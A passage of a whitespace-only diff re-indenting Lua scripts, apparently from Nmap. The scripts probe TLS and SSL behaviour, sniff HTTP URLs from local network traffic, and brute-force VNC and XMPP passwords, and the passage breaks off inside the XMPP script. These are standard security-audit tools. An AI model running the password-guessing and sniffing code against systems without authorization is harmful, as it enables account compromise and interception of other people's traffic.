return nil
|
return nil
|
||||||
end
|
end
|
||||||
|
|
||||||
if record.type == "handshake" then
|
if record.type == "handshake" then
|
||||||
for _, body in ipairs(record.body) do
|
for _, body in ipairs(record.body) do
|
||||||
if body.type == "server_hello" then
|
if body.type == "server_hello" then
|
||||||
return true, body.time
|
return true, body.time
|
||||||
end
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
stdnse.print_debug("%s: Server response was not server_hello", SCRIPT_NAME)
|
end
|
||||||
return nil
|
stdnse.print_debug("%s: Server response was not server_hello", SCRIPT_NAME)
|
||||||
|
return nil
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
local status, response
|
local status, response
|
||||||
|
|
||||||
-- Send crafted client hello
|
-- Send crafted client hello
|
||||||
status, response = client_hello(host, port)
|
status, response = client_hello(host, port)
|
||||||
local now = os.time()
|
local now = os.time()
|
||||||
if status and response then
|
if status and response then
|
||||||
-- extract time from response
|
-- extract time from response
|
||||||
local result
|
local result
|
||||||
status, result = extract_time(response)
|
status, result = extract_time(response)
|
||||||
if status then
|
if status then
|
||||||
local output = {
|
local output = {
|
||||||
date = stdnse.format_timestamp(result, 0),
|
date = stdnse.format_timestamp(result, 0),
|
||||||
delta = os.difftime(result, now),
|
delta = os.difftime(result, now),
|
||||||
}
|
}
|
||||||
return output, string.format("%s; %s from local time.", output.date,
|
return output, string.format("%s; %s from local time.", output.date,
|
||||||
stdnse.format_difftime(os.date("!*t",result),os.date("!*t", now)))
|
stdnse.format_difftime(os.date("!*t",result),os.date("!*t", now)))
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -47,90 +47,90 @@ categories = {"safe", "discovery", "vuln", "default"}
|
|||||||
local FINGERPRINT_FILE = "ssl-fingerprints"
|
local FINGERPRINT_FILE = "ssl-fingerprints"
|
||||||
|
|
||||||
local get_fingerprints = function(path)
|
local get_fingerprints = function(path)
|
||||||
-- Check registry for cached fingerprints.
|
-- Check registry for cached fingerprints.
|
||||||
if nmap.registry.ssl_fingerprints then
|
if nmap.registry.ssl_fingerprints then
|
||||||
stdnse.print_debug(2, "Using cached SSL fingerprints.")
|
stdnse.print_debug(2, "Using cached SSL fingerprints.")
|
||||||
return true, nmap.registry.ssl_fingerprints
|
return true, nmap.registry.ssl_fingerprints
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Attempt to resolve path if it is relative.
|
-- Attempt to resolve path if it is relative.
|
||||||
local full_path = nmap.fetchfile("nselib/data/" .. path)
|
local full_path = nmap.fetchfile("nselib/data/" .. path)
|
||||||
if not full_path then
|
if not full_path then
|
||||||
full_path = path
|
full_path = path
|
||||||
end
|
end
|
||||||
stdnse.print_debug(2, "Loading SSL fingerprints from %s.", full_path)
|
stdnse.print_debug(2, "Loading SSL fingerprints from %s.", full_path)
|
||||||
|
|
||||||
-- Open database.
|
-- Open database.
|
||||||
local file = io.open(full_path, "r")
|
local file = io.open(full_path, "r")
|
||||||
if not file then
|
if not file then
|
||||||
return false, "Failed to open file " .. full_path
|
return false, "Failed to open file " .. full_path
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Parse database.
|
-- Parse database.
|
||||||
local section = nil
|
local section = nil
|
||||||
local fingerprints = {}
|
local fingerprints = {}
|
||||||
for line in file:lines() do
|
for line in file:lines() do
|
||||||
line = line:gsub("#.*", "")
|
line = line:gsub("#.*", "")
|
||||||
line = line:gsub("^%s*", "")
|
line = line:gsub("^%s*", "")
|
||||||
line = line:gsub("%s*$", "")
|
line = line:gsub("%s*$", "")
|
||||||
if line ~= "" then
|
if line ~= "" then
|
||||||
if line:sub(1,1) == "[" then
|
if line:sub(1,1) == "[" then
|
||||||
-- Start a new section.
|
-- Start a new section.
|
||||||
line = line:sub(2, #line - 1)
|
line = line:sub(2, #line - 1)
|
||||||
stdnse.print_debug(4, "Starting new section %s.", line)
|
stdnse.print_debug(4, "Starting new section %s.", line)
|
||||||
section = line
|
section = line
|
||||||
elseif section ~= nil then
|
elseif section ~= nil then
|
||||||
-- Add fingerprint to section.
|
-- Add fingerprint to section.
|
||||||
local fingerprint = bin.pack("H", line)
|
local fingerprint = bin.pack("H", line)
|
||||||
if #fingerprint == 20 then
|
if #fingerprint == 20 then
|
||||||
fingerprints[fingerprint] = section
|
fingerprints[fingerprint] = section
|
||||||
stdnse.print_debug(4, "Added key %s to database.", line)
|
stdnse.print_debug(4, "Added key %s to database.", line)
|
||||||
else
|
else
|
||||||
stdnse.print_debug(0, "Cannot parse presumed fingerprint %q in section %q.", line, section)
|
stdnse.print_debug(0, "Cannot parse presumed fingerprint %q in section %q.", line, section)
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
-- Key found outside of section.
|
-- Key found outside of section.
|
||||||
stdnse.print_debug(1, "Key %s is not in a section.", line)
|
stdnse.print_debug(1, "Key %s is not in a section.", line)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Close database.
|
-- Close database.
|
||||||
file:close()
|
file:close()
|
||||||
|
|
||||||
-- Cache fingerprints in registry for future runs.
|
-- Cache fingerprints in registry for future runs.
|
||||||
nmap.registry.ssl_fingerprints = fingerprints
|
nmap.registry.ssl_fingerprints = fingerprints
|
||||||
|
|
||||||
return true, fingerprints
|
return true, fingerprints
|
||||||
end
|
end
|
||||||
|
|
||||||
portrule = shortport.ssl
|
portrule = shortport.ssl
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
-- Get script arguments.
|
-- Get script arguments.
|
||||||
local path = stdnse.get_script_args("ssl-known-key.fingerprintfile") or FINGERPRINT_FILE
|
local path = stdnse.get_script_args("ssl-known-key.fingerprintfile") or FINGERPRINT_FILE
|
||||||
local status, result = get_fingerprints(path)
|
local status, result = get_fingerprints(path)
|
||||||
if not status then
|
if not status then
|
||||||
stdnse.print_debug(1, result)
|
stdnse.print_debug(1, result)
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
local fingerprints = result
|
local fingerprints = result
|
||||||
|
|
||||||
-- Get SSL certificate.
|
-- Get SSL certificate.
|
||||||
local status, cert = sslcert.getCertificate(host, port)
|
local status, cert = sslcert.getCertificate(host, port)
|
||||||
if not status then
|
if not status then
|
||||||
stdnse.print_debug(1, "sslcert.getCertificate error: %s", cert)
|
stdnse.print_debug(1, "sslcert.getCertificate error: %s", cert)
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
local fingerprint = cert:digest("sha1")
|
local fingerprint = cert:digest("sha1")
|
||||||
local fingerprint_fmt = stdnse.tohex(fingerprint, {separator=" ", group=4})
|
local fingerprint_fmt = stdnse.tohex(fingerprint, {separator=" ", group=4})
|
||||||
|
|
||||||
-- Check SSL fingerprint against database.
|
-- Check SSL fingerprint against database.
|
||||||
local section = fingerprints[fingerprint]
|
local section = fingerprints[fingerprint]
|
||||||
if not section then
|
if not section then
|
||||||
stdnse.print_debug(2, "%s was not in the database.", fingerprint_fmt)
|
stdnse.print_debug(2, "%s was not in the database.", fingerprint_fmt)
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
return {section=section, sha1=stdnse.tohex(fingerprint)}, "Found in " .. section .. " (SHA-1: " .. fingerprint_fmt .. ")"
|
return {section=section, sha1=stdnse.tohex(fingerprint)}, "Found in " .. section .. " (SHA-1: " .. fingerprint_fmt .. ")"
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -70,7 +70,7 @@ end
|
|||||||
|
|
||||||
prerule = function()
|
prerule = function()
|
||||||
return nmap.is_privileged() and
|
return nmap.is_privileged() and
|
||||||
(stdnse.get_script_args("targets-sniffer.iface") or nmap.get_interface())
|
(stdnse.get_script_args("targets-sniffer.iface") or nmap.get_interface())
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -51,94 +51,94 @@ portrule = shortport.ssl
|
|||||||
--@return status true if response, false else.
|
--@return status true if response, false else.
|
||||||
--@return response if status is true.
|
--@return response if status is true.
|
||||||
local client_hello = function(host, port)
|
local client_hello = function(host, port)
|
||||||
local sock, status, response, err, cli_h
|
local sock, status, response, err, cli_h
|
||||||
|
|
||||||
cli_h = tls.client_hello({
|
cli_h = tls.client_hello({
|
||||||
["protocol"] = "TLSv1.0",
|
["protocol"] = "TLSv1.0",
|
||||||
["ciphers"] = {
|
["ciphers"] = {
|
||||||
"TLS_ECDHE_RSA_WITH_RC4_128_SHA",
|
"TLS_ECDHE_RSA_WITH_RC4_128_SHA",
|
||||||
"TLS_DHE_RSA_WITH_AES_256_CBC_SHA",
|
"TLS_DHE_RSA_WITH_AES_256_CBC_SHA",
|
||||||
"TLS_RSA_WITH_RC4_128_MD5",
|
"TLS_RSA_WITH_RC4_128_MD5",
|
||||||
},
|
},
|
||||||
["compressors"] = {"NULL"},
|
["compressors"] = {"NULL"},
|
||||||
["extensions"] = {
|
["extensions"] = {
|
||||||
["next_protocol_negotiation"] = "",
|
["next_protocol_negotiation"] = "",
|
||||||
},
|
},
|
||||||
})
|
})
|
||||||
|
|
||||||
-- Connect to the target server
|
-- Connect to the target server
|
||||||
sock = nmap.new_socket()
|
sock = nmap.new_socket()
|
||||||
sock:set_timeout(5000)
|
sock:set_timeout(5000)
|
||||||
status, err = sock:connect(host, port)
|
status, err = sock:connect(host, port)
|
||||||
if not status then
|
if not status then
|
||||||
sock:close()
|
sock:close()
|
||||||
stdnse.print_debug("Can't send: %s", err)
|
stdnse.print_debug("Can't send: %s", err)
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Send Client Hello to the target server
|
-- Send Client Hello to the target server
|
||||||
status, err = sock:send(cli_h)
|
status, err = sock:send(cli_h)
|
||||||
if not status then
|
if not status then
|
||||||
stdnse.print_debug("Couldn't send: %s", err)
|
stdnse.print_debug("Couldn't send: %s", err)
|
||||||
sock:close()
|
sock:close()
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Read response
|
-- Read response
|
||||||
status, response, err = tls.record_buffer(sock)
|
status, response, err = tls.record_buffer(sock)
|
||||||
if not status then
|
if not status then
|
||||||
stdnse.print_debug("Couldn't receive: %s", err)
|
stdnse.print_debug("Couldn't receive: %s", err)
|
||||||
sock:close()
|
sock:close()
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
return true, response
|
return true, response
|
||||||
end
|
end
|
||||||
|
|
||||||
--- Function that checks for the returned protocols to a npn extension request.
|
--- Function that checks for the returned protocols to a npn extension request.
|
||||||
--@args response Response to parse.
|
--@args response Response to parse.
|
||||||
--@return results List of found protocols.
|
--@return results List of found protocols.
|
||||||
local check_npn = function(response)
|
local check_npn = function(response)
|
||||||
local i, record = tls.record_read(response, 0)
|
local i, record = tls.record_read(response, 0)
|
||||||
if record == nil then
|
if record == nil then
|
||||||
stdnse.print_debug("%s: Unknown response from server", SCRIPT_NAME)
|
stdnse.print_debug("%s: Unknown response from server", SCRIPT_NAME)
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
if record.type == "handshake" and record.body[1].type == "server_hello" then
|
||||||
|
if record.body[1].extensions == nil then
|
||||||
|
stdnse.print_debug("%s: Server does not support TLS NPN extension.", SCRIPT_NAME)
|
||||||
return nil
|
return nil
|
||||||
end
|
end
|
||||||
|
local results = {}
|
||||||
if record.type == "handshake" and record.body[1].type == "server_hello" then
|
local npndata = record.body[1].extensions["next_protocol_negotiation"]
|
||||||
if record.body[1].extensions == nil then
|
if npndata == nil then
|
||||||
stdnse.print_debug("%s: Server does not support TLS NPN extension.", SCRIPT_NAME)
|
stdnse.print_debug("%s: Server does not support TLS NPN extension.", SCRIPT_NAME)
|
||||||
return nil
|
|
||||||
end
|
|
||||||
local results = {}
|
|
||||||
local npndata = record.body[1].extensions["next_protocol_negotiation"]
|
|
||||||
if npndata == nil then
|
|
||||||
stdnse.print_debug("%s: Server does not support TLS NPN extension.", SCRIPT_NAME)
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
-- Parse data
|
|
||||||
i = 0
|
|
||||||
local protocol
|
|
||||||
while i < #npndata do
|
|
||||||
i, protocol = bin.unpack(">p", npndata, i)
|
|
||||||
table.insert(results, protocol)
|
|
||||||
end
|
|
||||||
|
|
||||||
return results
|
|
||||||
else
|
|
||||||
stdnse.print_debug("%s: Server response was not server_hello", SCRIPT_NAME)
|
|
||||||
return nil
|
return nil
|
||||||
end
|
end
|
||||||
|
-- Parse data
|
||||||
|
i = 0
|
||||||
|
local protocol
|
||||||
|
while i < #npndata do
|
||||||
|
i, protocol = bin.unpack(">p", npndata, i)
|
||||||
|
table.insert(results, protocol)
|
||||||
|
end
|
||||||
|
|
||||||
|
return results
|
||||||
|
else
|
||||||
|
stdnse.print_debug("%s: Server response was not server_hello", SCRIPT_NAME)
|
||||||
|
return nil
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
local status, response
|
local status, response
|
||||||
|
|
||||||
-- Send crafted client hello
|
-- Send crafted client hello
|
||||||
status, response = client_hello(host, port)
|
status, response = client_hello(host, port)
|
||||||
if status and response then
|
if status and response then
|
||||||
-- Analyze response
|
-- Analyze response
|
||||||
local results = check_npn(response)
|
local results = check_npn(response)
|
||||||
return results
|
return results
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -39,51 +39,51 @@ categories = {"safe"}
|
|||||||
local arg_iface = nmap.get_interface() or stdnse.get_script_args(SCRIPT_NAME .. ".interface")
|
local arg_iface = nmap.get_interface() or stdnse.get_script_args(SCRIPT_NAME .. ".interface")
|
||||||
|
|
||||||
prerule = function()
|
prerule = function()
|
||||||
local has_interface = ( arg_iface ~= nil )
|
local has_interface = ( arg_iface ~= nil )
|
||||||
if not nmap.is_privileged() then
|
if not nmap.is_privileged() then
|
||||||
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
|
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
if ( not(has_interface) ) then
|
if ( not(has_interface) ) then
|
||||||
stdnse.print_verbose("%s no network interface was supplied, aborting ...", SCRIPT_NAME)
|
stdnse.print_verbose("%s no network interface was supplied, aborting ...", SCRIPT_NAME)
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
|
|
||||||
-- we should probably leverage code from the http library, but those functions
|
-- we should probably leverage code from the http library, but those functions
|
||||||
-- are all declared local.
|
-- are all declared local.
|
||||||
local function get_url(data)
|
local function get_url(data)
|
||||||
|
|
||||||
local headers, body = table.unpack(stdnse.strsplit("\r\n\r\n", data))
|
local headers, body = table.unpack(stdnse.strsplit("\r\n\r\n", data))
|
||||||
if ( not(headers) ) then
|
if ( not(headers) ) then
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
headers = stdnse.strsplit("\r\n", headers)
|
headers = stdnse.strsplit("\r\n", headers)
|
||||||
if ( not(headers) or 1 > #headers ) then
|
if ( not(headers) or 1 > #headers ) then
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
local parsed = {}
|
local parsed = {}
|
||||||
parsed.path = headers[1]:match("^[^s%s]+ ([^%s]*) HTTP/1%.%d$")
|
parsed.path = headers[1]:match("^[^s%s]+ ([^%s]*) HTTP/1%.%d$")
|
||||||
if ( not(parsed.path) ) then
|
if ( not(parsed.path) ) then
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
for _, v in ipairs(headers) do
|
for _, v in ipairs(headers) do
|
||||||
parsed.host, parsed.port = v:match("^Host: (.*):?(%d?)$")
|
parsed.host, parsed.port = v:match("^Host: (.*):?(%d?)$")
|
||||||
if ( parsed.host ) then
|
if ( parsed.host ) then
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
if ( not(parsed.host) ) then
|
if ( not(parsed.host) ) then
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
parsed.port = ( #parsed.port ~= 0 ) and parsed.port or nil
|
parsed.port = ( #parsed.port ~= 0 ) and parsed.port or nil
|
||||||
parsed.scheme = "http"
|
parsed.scheme = "http"
|
||||||
local u = url.build(parsed)
|
local u = url.build(parsed)
|
||||||
if ( not(u) ) then
|
if ( not(u) ) then
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
return u
|
return u
|
||||||
end
|
end
|
||||||
|
|
||||||
local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout"))
|
local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout"))
|
||||||
@@ -92,54 +92,54 @@ local arg_nostdout= stdnse.get_script_args(SCRIPT_NAME..".nostdout")
|
|||||||
local arg_outfile = stdnse.get_script_args(SCRIPT_NAME..".outfile")
|
local arg_outfile = stdnse.get_script_args(SCRIPT_NAME..".outfile")
|
||||||
|
|
||||||
local function log_entry(src_ip, url)
|
local function log_entry(src_ip, url)
|
||||||
local outfd = io.open(arg_outfile, "a")
|
local outfd = io.open(arg_outfile, "a")
|
||||||
if ( outfd ) then
|
if ( outfd ) then
|
||||||
local entry = ("%s\t%s\r\n"):format(src_ip, url)
|
local entry = ("%s\t%s\r\n"):format(src_ip, url)
|
||||||
outfd:write(entry)
|
outfd:write(entry)
|
||||||
outfd:close()
|
outfd:close()
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function()
|
action = function()
|
||||||
local counter = 0
|
local counter = 0
|
||||||
|
|
||||||
if ( arg_outfile ) then
|
if ( arg_outfile ) then
|
||||||
local outfd = io.open(arg_outfile, "a")
|
local outfd = io.open(arg_outfile, "a")
|
||||||
if ( not(outfd) ) then
|
if ( not(outfd) ) then
|
||||||
return ("\n ERROR: Failed to open outfile (%s)"):format(arg_outfile)
|
return ("\n ERROR: Failed to open outfile (%s)"):format(arg_outfile)
|
||||||
end
|
end
|
||||||
outfd:close()
|
outfd:close()
|
||||||
end
|
end
|
||||||
|
|
||||||
local socket = nmap.new_socket()
|
local socket = nmap.new_socket()
|
||||||
socket:set_timeout(1000)
|
socket:set_timeout(1000)
|
||||||
socket:pcap_open(arg_iface, 1500, true, "tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)")
|
socket:pcap_open(arg_iface, 1500, true, "tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)")
|
||||||
|
|
||||||
local start, stop = os.time()
|
local start, stop = os.time()
|
||||||
repeat
|
repeat
|
||||||
local status, len, _, l3 = socket:pcap_receive()
|
local status, len, _, l3 = socket:pcap_receive()
|
||||||
if ( status ) then
|
if ( status ) then
|
||||||
local p = packet.Packet:new( l3, #l3 )
|
local p = packet.Packet:new( l3, #l3 )
|
||||||
local pos = p.tcp_data_offset + 1
|
local pos = p.tcp_data_offset + 1
|
||||||
local http_data = p.buf:sub(pos)
|
local http_data = p.buf:sub(pos)
|
||||||
|
|
||||||
local url = get_url(http_data)
|
local url = get_url(http_data)
|
||||||
if ( url ) then
|
if ( url ) then
|
||||||
counter = counter + 1
|
counter = counter + 1
|
||||||
if ( not(arg_nostdout) ) then
|
if ( not(arg_nostdout) ) then
|
||||||
print(p.ip_src, url)
|
print(p.ip_src, url)
|
||||||
end
|
end
|
||||||
if ( arg_outfile ) then
|
if ( arg_outfile ) then
|
||||||
log_entry(p.ip_src, url)
|
log_entry(p.ip_src, url)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
if ( arg_timeout and arg_timeout > 0 and arg_timeout <= os.time() - start ) then
|
if ( arg_timeout and arg_timeout > 0 and arg_timeout <= os.time() - start ) then
|
||||||
stop = os.time()
|
stop = os.time()
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
until(false)
|
until(false)
|
||||||
if ( counter > 0 ) then
|
if ( counter > 0 ) then
|
||||||
return ("\n Sniffed %d URLs in %d seconds"):format(counter, stop - start)
|
return ("\n Sniffed %d URLs in %d seconds"):format(counter, stop - start)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -41,106 +41,106 @@ portrule = shortport.port_or_service(5901, "vnc", "tcp", "open")
|
|||||||
Driver =
|
Driver =
|
||||||
{
|
{
|
||||||
|
|
||||||
new = function(self, host, port)
|
new = function(self, host, port)
|
||||||
local o = {}
|
local o = {}
|
||||||
setmetatable(o, self)
|
setmetatable(o, self)
|
||||||
self.__index = self
|
self.__index = self
|
||||||
o.host = host
|
o.host = host
|
||||||
o.port = port
|
o.port = port
|
||||||
return o
|
return o
|
||||||
end,
|
end,
|
||||||
|
|
||||||
connect = function( self )
|
connect = function( self )
|
||||||
local status, data
|
local status, data
|
||||||
self.vnc = vnc.VNC:new( self.host.ip, self.port.number )
|
self.vnc = vnc.VNC:new( self.host.ip, self.port.number )
|
||||||
status, data = self.vnc:connect()
|
status, data = self.vnc:connect()
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
local err = brute.Error:new( "VNC connect failed" )
|
local err = brute.Error:new( "VNC connect failed" )
|
||||||
-- This might be temporary, set the retry flag
|
-- This might be temporary, set the retry flag
|
||||||
err:setRetry( true )
|
err:setRetry( true )
|
||||||
return false, err
|
return false, err
|
||||||
end
|
end
|
||||||
return true
|
return true
|
||||||
end,
|
end,
|
||||||
--- Attempts to login to the VNC server
|
--- Attempts to login to the VNC server
|
||||||
--
|
--
|
||||||
-- @param username string containing the login username
|
-- @param username string containing the login username
|
||||||
-- @param password string containing the login password
|
-- @param password string containing the login password
|
||||||
-- @return status, true on success, false on failure
|
-- @return status, true on success, false on failure
|
||||||
-- @return brute.Error object on failure
|
-- @return brute.Error object on failure
|
||||||
-- brute.Account object on success
|
-- brute.Account object on success
|
||||||
login = function( self, username, password )
|
login = function( self, username, password )
|
||||||
|
|
||||||
local status, data = self.vnc:handshake()
|
local status, data = self.vnc:handshake()
|
||||||
if ( not(status) and ( data:match("Too many authentication failures") or
|
if ( not(status) and ( data:match("Too many authentication failures") or
|
||||||
data:match("Your connection has been rejected.") ) ) then
|
data:match("Your connection has been rejected.") ) ) then
|
||||||
local err = brute.Error:new( data )
|
local err = brute.Error:new( data )
|
||||||
err:setAbort( true )
|
err:setAbort( true )
|
||||||
return false, err
|
return false, err
|
||||||
elseif ( not(status) ) then
|
elseif ( not(status) ) then
|
||||||
local err = brute.Error:new( "VNC handshake failed" )
|
local err = brute.Error:new( "VNC handshake failed" )
|
||||||
-- This might be temporary, set the retry flag
|
-- This might be temporary, set the retry flag
|
||||||
err:setRetry( true )
|
err:setRetry( true )
|
||||||
return false, err
|
return false, err
|
||||||
end
|
end
|
||||||
|
|
||||||
status, data = self.vnc:login( nil, password )
|
status, data = self.vnc:login( nil, password )
|
||||||
|
|
||||||
if ( status ) then
|
if ( status ) then
|
||||||
return true, brute.Account:new("", password, creds.State.VALID)
|
return true, brute.Account:new("", password, creds.State.VALID)
|
||||||
elseif ( not( data:match("Authentication failed") ) ) then
|
elseif ( not( data:match("Authentication failed") ) ) then
|
||||||
local err = brute.Error:new( data )
|
local err = brute.Error:new( data )
|
||||||
-- This might be temporary, set the retry flag
|
-- This might be temporary, set the retry flag
|
||||||
err:setRetry( true )
|
err:setRetry( true )
|
||||||
return false, err
|
return false, err
|
||||||
end
|
end
|
||||||
|
|
||||||
return false, brute.Error:new( "Incorrect password" )
|
return false, brute.Error:new( "Incorrect password" )
|
||||||
|
|
||||||
end,
|
end,
|
||||||
|
|
||||||
disconnect = function( self )
|
disconnect = function( self )
|
||||||
self.vnc:disconnect()
|
self.vnc:disconnect()
|
||||||
end,
|
end,
|
||||||
|
|
||||||
check = function( self )
|
check = function( self )
|
||||||
local vnc = vnc.VNC:new( self.host.ip, self.port.number )
|
local vnc = vnc.VNC:new( self.host.ip, self.port.number )
|
||||||
local status, data
|
local status, data
|
||||||
|
|
||||||
status, data = vnc:connect()
|
status, data = vnc:connect()
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return stdnse.format_output( false, data )
|
return stdnse.format_output( false, data )
|
||||||
end
|
end
|
||||||
|
|
||||||
status, data = vnc:handshake()
|
status, data = vnc:handshake()
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return stdnse.format_output( false, data )
|
return stdnse.format_output( false, data )
|
||||||
end
|
end
|
||||||
|
|
||||||
if ( vnc:supportsSecType(vnc.sectypes.NONE) ) then
|
if ( vnc:supportsSecType(vnc.sectypes.NONE) ) then
|
||||||
return false, "No authentication required"
|
return false, "No authentication required"
|
||||||
end
|
end
|
||||||
|
|
||||||
status, data = vnc:login( nil, "is_sec_mec_supported?" )
|
status, data = vnc:login( nil, "is_sec_mec_supported?" )
|
||||||
if ( data:match("The server does not support.*security type") ) then
|
if ( data:match("The server does not support.*security type") ) then
|
||||||
return stdnse.format_output( false, " \n " .. data )
|
return stdnse.format_output( false, " \n " .. data )
|
||||||
end
|
end
|
||||||
|
|
||||||
return true
|
return true
|
||||||
end,
|
end,
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
local status, result
|
local status, result
|
||||||
local engine = brute.Engine:new(Driver, host, port )
|
local engine = brute.Engine:new(Driver, host, port )
|
||||||
|
|
||||||
engine.options.script_name = SCRIPT_NAME
|
engine.options.script_name = SCRIPT_NAME
|
||||||
engine.options.firstonly = true
|
engine.options.firstonly = true
|
||||||
engine.options:setOption( "passonly", true )
|
engine.options:setOption( "passonly", true )
|
||||||
|
|
||||||
status, result = engine:start()
|
status, result = engine:start()
|
||||||
|
|
||||||
return result
|
return result
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -47,94 +47,94 @@ ConnectionPool = {}
|
|||||||
Driver =
|
Driver =
|
||||||
{
|
{
|
||||||
|
|
||||||
-- Creates a new driver instance
|
-- Creates a new driver instance
|
||||||
-- @param host table as received by the action method
|
-- @param host table as received by the action method
|
||||||
-- @param port table as received by the action method
|
-- @param port table as received by the action method
|
||||||
-- @param pool an instance of the ConnectionPool
|
-- @param pool an instance of the ConnectionPool
|
||||||
new = function(self, host, port, options )
|
new = function(self, host, port, options )
|
||||||
local o = { host = host, port = port, options = options }
|
local o = { host = host, port = port, options = options }
|
||||||
setmetatable(o, self)
|
setmetatable(o, self)
|
||||||
self.__index = self
|
self.__index = self
|
||||||
return o
|
return o
|
||||||
end,
|
end,
|
||||||
|
|
||||||
-- Connects to the server (retrieves a connection from the pool)
|
-- Connects to the server (retrieves a connection from the pool)
|
||||||
connect = function( self )
|
connect = function( self )
|
||||||
self.helper = ConnectionPool[coroutine.running()]
|
self.helper = ConnectionPool[coroutine.running()]
|
||||||
if ( not(self.helper) ) then
|
if ( not(self.helper) ) then
|
||||||
self.helper = xmpp.Helper:new( self.host, self.port, self.options )
|
self.helper = xmpp.Helper:new( self.host, self.port, self.options )
|
||||||
local status, err = self.helper:connect()
|
local status, err = self.helper:connect()
|
||||||
if ( not(status) ) then return false, err end
|
if ( not(status) ) then return false, err end
|
||||||
ConnectionPool[coroutine.running()] = self.helper
|
ConnectionPool[coroutine.running()] = self.helper
|
||||||
end
|
end
|
||||||
return true
|
return true
|
||||||
end,
|
end,
|
||||||
|
|
||||||
-- Attempts to login to the server
|
-- Attempts to login to the server
|
||||||
-- @param username string containing the username
|
-- @param username string containing the username
|
||||||
-- @param password string containing the password
|
-- @param password string containing the password
|
||||||
-- @return status true on success, false on failure
|
-- @return status true on success, false on failure
|
||||||
-- @return brute.Error on failure and brute.Account on success
|
-- @return brute.Error on failure and brute.Account on success
|
||||||
login = function( self, username, password )
|
login = function( self, username, password )
|
||||||
local status, err = self.helper:login( username, password, mech )
|
local status, err = self.helper:login( username, password, mech )
|
||||||
if ( status ) then
|
if ( status ) then
|
||||||
self.helper:close()
|
self.helper:close()
|
||||||
self.helper:connect()
|
self.helper:connect()
|
||||||
return true, brute.Account:new(username, password, creds.State.VALID)
|
return true, brute.Account:new(username, password, creds.State.VALID)
|
||||||
end
|
end
|
||||||
if ( err:match("^ERROR: Failed to .* data$") ) then
|
if ( err:match("^ERROR: Failed to .* data$") ) then
|
||||||
self.helper:close()
|
self.helper:close()
|
||||||
self.helper:connect()
|
self.helper:connect()
|
||||||
local err = brute.Error:new( err )
|
local err = brute.Error:new( err )
|
||||||
-- This might be temporary, set the retry flag
|
-- This might be temporary, set the retry flag
|
||||||
err:setRetry( true )
|
err:setRetry( true )
|
||||||
return false, err
|
return false, err
|
||||||
end
|
end
|
||||||
return false, brute.Error:new( "Incorrect password" )
|
return false, brute.Error:new( "Incorrect password" )
|
||||||
end,
|
end,
|
||||||
|
|
||||||
-- Disconnects from the server (release the connection object back to
|
-- Disconnects from the server (release the connection object back to
|
||||||
-- the pool)
|
-- the pool)
|
||||||
disconnect = function( self )
|
disconnect = function( self )
|
||||||
return true
|
return true
|
||||||
end,
|
end,
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local options = { servername = stdnse.get_script_args("xmpp-brute.servername") }
|
local options = { servername = stdnse.get_script_args("xmpp-brute.servername") }
|
||||||
local helper = xmpp.Helper:new(host, port, options)
|
local helper = xmpp.Helper:new(host, port, options)
|
||||||
local status, err = helper:connect()
|
local status, err = helper:connect()
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return "\n ERROR: Failed to connect to XMPP server"
|
return "\n ERROR: Failed to connect to XMPP server"
|
||||||
end
|
end
|
||||||
|
|
||||||
